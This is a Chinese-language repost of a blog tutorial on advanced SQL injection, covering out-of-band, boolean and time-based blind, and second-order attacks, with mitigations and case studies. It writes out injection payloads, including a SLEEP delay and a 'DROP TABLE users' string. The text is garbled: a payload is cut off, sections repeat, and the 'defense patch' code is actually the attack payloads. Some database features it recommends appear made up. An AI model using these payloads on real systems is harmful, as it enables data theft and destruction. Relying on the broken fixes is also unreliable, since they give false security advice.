首頁 > 資料庫 > mysql教程 > SQL注入系列部分:高階SQL注入技術

SQL注入系列部分:高階SQL注入技術

Mary-Kate Olsen
發布: 2024-12-05 20:16:11
原創
989 人瀏覽過

Part SQL Injection Series: Advanced SQL Injection Techniques

作者:Trix Cyrus

Waymap滲透測試工具:點這裡
TrixSec Github:點這裡
TrixSec Telegram:點此

進階 SQL 注入漏洞 - 第 7 部分:尖端技術與預防

歡迎來到我們的 SQL 注入系列的第 7 部分!本期文章深入研究了攻擊者使用的高級 SQL 注入技術,並提供了可操作的策略來應對它們。隨著威脅的演變,了解這些複雜的方法對於保持領先至關重要。


1.進階 SQL 注入技術

1.1。帶外 SQL 注入

當攻擊者無法直接觀察其有效負載的結果時,會使用帶外(OOB)注入。相反,他們依賴 DNS 或 HTTP 請求來竊取資料。

  • 如何運作: 有效負載觸發一個查詢,將資料傳送到攻擊者控制的伺服器。例如:
  SELECT * FROM users WHERE>



<p>The above payload exploits SQL Server's xp_dirtree to make an outbound DNS request.  </p>

登入後複製
登入後複製
  • Real-World Example:

    In 2019, attackers used OOB techniques to bypass traditional defenses and exfiltrate sensitive data from a government database.

  • Mitigation:

    • Block outbound DNS/HTTP requests from the database.
    • Use network monitoring tools to detect unusual outbound traffic.

1.2. Boolean-Based Blind SQL Injection

This method determines true or false conditions based on subtle changes in the application's behavior.

  • Example Payload:
  ' AND 1=1 -- True condition  
  ' AND 1=2 -- False condition  
登入後複製
登入後複製

反應差異表示注入條件是真還是假。

  • 用法

    攻擊者使用條件查詢一次一點地列舉資料庫、表格或列。

  • 緩解

    • 使用參數化查詢或 ORM 框架。
    • 部署具有用於盲 SQL 注入偵測的規則集的 Web 應用程式防火牆 (WAF)。

1.3。基於時間的 SQL 盲注

此技術使用延遲來推斷數據。攻擊者觀察伺服器回應需要多長時間。

  • 有效負載範例
  SELECT IF(1=1, SLEEP(5), 0); -- Delays response by 5 seconds  
登入後複製
登入後複製
  • 影響

    緩慢的查詢可能會削弱伺服器效能,導致拒絕服務。

  • 緩解

    • 使用速率限制來阻止過多的請求。
    • 監視並終止長時間運行的查詢。

1.4。二階 SQL 注入

在這種技術中,惡意有效負載儲存在資料庫中,並在後續操作(例如管理員審核)期間觸發。

  • 範例場景

    • 攻擊者將此有效負載插入表單中:
    Robert'); DROP TABLE users; --  
    
    登入後複製
    登入後複製
    • 在審核期間,應用程式執行儲存的有效負載。
  • 緩解

    • 在每個階段轉義和清理輸入,甚至在檢索期間。
    • 使用不可變的資料庫函數來防止惡意腳本的執行。

2.真實世界案例研究

個案研究 1:Magento 漏洞 (CVE-2019-8144)

事件

  • 攻擊者利用了 Magento 電子商務平台中基於時間的 SQL 注入漏洞。
  • 他們繞過了身份驗證並獲得了敏感客戶資料的存取權限。

緩解教訓

  • 定期修補軟體以解決已知漏洞。
  • 對第三方外掛程式和擴充功能執行安全測試。

個案研究 2:Shopify(2020 年錯誤賞金)

事件

  • 安全研究人員在 Shopify 的 API 中發現了 OOB SQL 注入漏洞,該漏洞可能會透過 DNS 洩漏敏感資料。
  • 由於 Shopify 的錯誤賞金計劃,該漏洞在被利用之前就已被捕獲。

緩解教訓

  • 投資錯誤賞金計畫以鼓勵道德漏洞報告。
  • 利用 API 閘道強制執行嚴格的查詢驗證。

3.進階防禦策略

3.1。動態查詢分析

使用工具來監視資料庫查詢是否有異常模式或過度複雜性。

  • 工具
    • SQLMap:測試您的系統。
    • Aqua Security 或 Imperva:用於執行時間保護。

3.2。上下文感知驗證

根據上下文強制執行驗證規則:

  • 登入頁面:驗證憑證以僅允許字母數字值。
  • 搜尋表單:清理輸入以排除 SELECT 或 UNION 等 SQL 運算子。

3.3。資料庫特定配置

  • 在MySQL中啟用SQL注入偵測模式等功能。
  • 在 PostgreSQL 中使用 SECCOMP 過濾器來限制危險操作。

3.4。持續滲透測試

  • 模擬攻擊以在攻擊者之前識別漏洞。
  • 使用 OWASP ZAP 或 Burp Suite 等工具透過 CI/CD 管道自動化。

4.實際挑戰:漏洞利用模擬與防禦

場景

電子商務網站允許使用者使用輸入欄位搜尋產品。測試並保護它。

步驟

  1. 注入有效負載以偵測SQL注入漏洞:
  SELECT * FROM users WHERE>



<p>The above payload exploits SQL Server's xp_dirtree to make an outbound DNS request.  </p>

登入後複製
登入後複製
  • Real-World Example:

    In 2019, attackers used OOB techniques to bypass traditional defenses and exfiltrate sensitive data from a government database.

  • Mitigation:

    • Block outbound DNS/HTTP requests from the database.
    • Use network monitoring tools to detect unusual outbound traffic.

1.2. Boolean-Based Blind SQL Injection

This method determines true or false conditions based on subtle changes in the application's behavior.

  • Example Payload:
  ' AND 1=1 -- True condition  
  ' AND 1=2 -- False condition  
登入後複製
登入後複製
  1. 如果網站存在漏洞,請使用 SQLMap 等自動化工具來模擬資料擷取。

防禦修補

  • 實作準備好的語句:
  SELECT IF(1=1, SLEEP(5), 0); -- Delays response by 5 seconds  
登入後複製
登入後複製
  • 使用嚴格的模式驗證輸入:
Robert'); DROP TABLE users; --  
登入後複製
登入後複製

5. SQL注入攻擊的趨勢

5.1。雲端漏洞

由於配置錯誤,基於雲端的資料庫越來越成為攻擊目標。

5.2。 API 漏洞

隨著微服務的興起,設計不良的 API 成為攻擊者的切入點。

5.3。人工智慧驅動的攻擊

自動化工具利用人工智慧來製作複雜的注入有效負載。


最後的想法

本次高階會議強調了 SQL 注入的不斷發展的性質以及主動防禦的重要性。透過了解尖端技術並實施強大的安全措施,您可以顯著降低被利用的風險。

~Trixsec

以上是SQL注入系列部分:高階SQL注入技術的詳細內容。更多資訊請關注PHP中文網其他相關文章!

來源:dev.to
本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
作者最新文章
熱門教學
更多>
最新下載
更多>
網站特效
網站源碼
網站素材
前端模板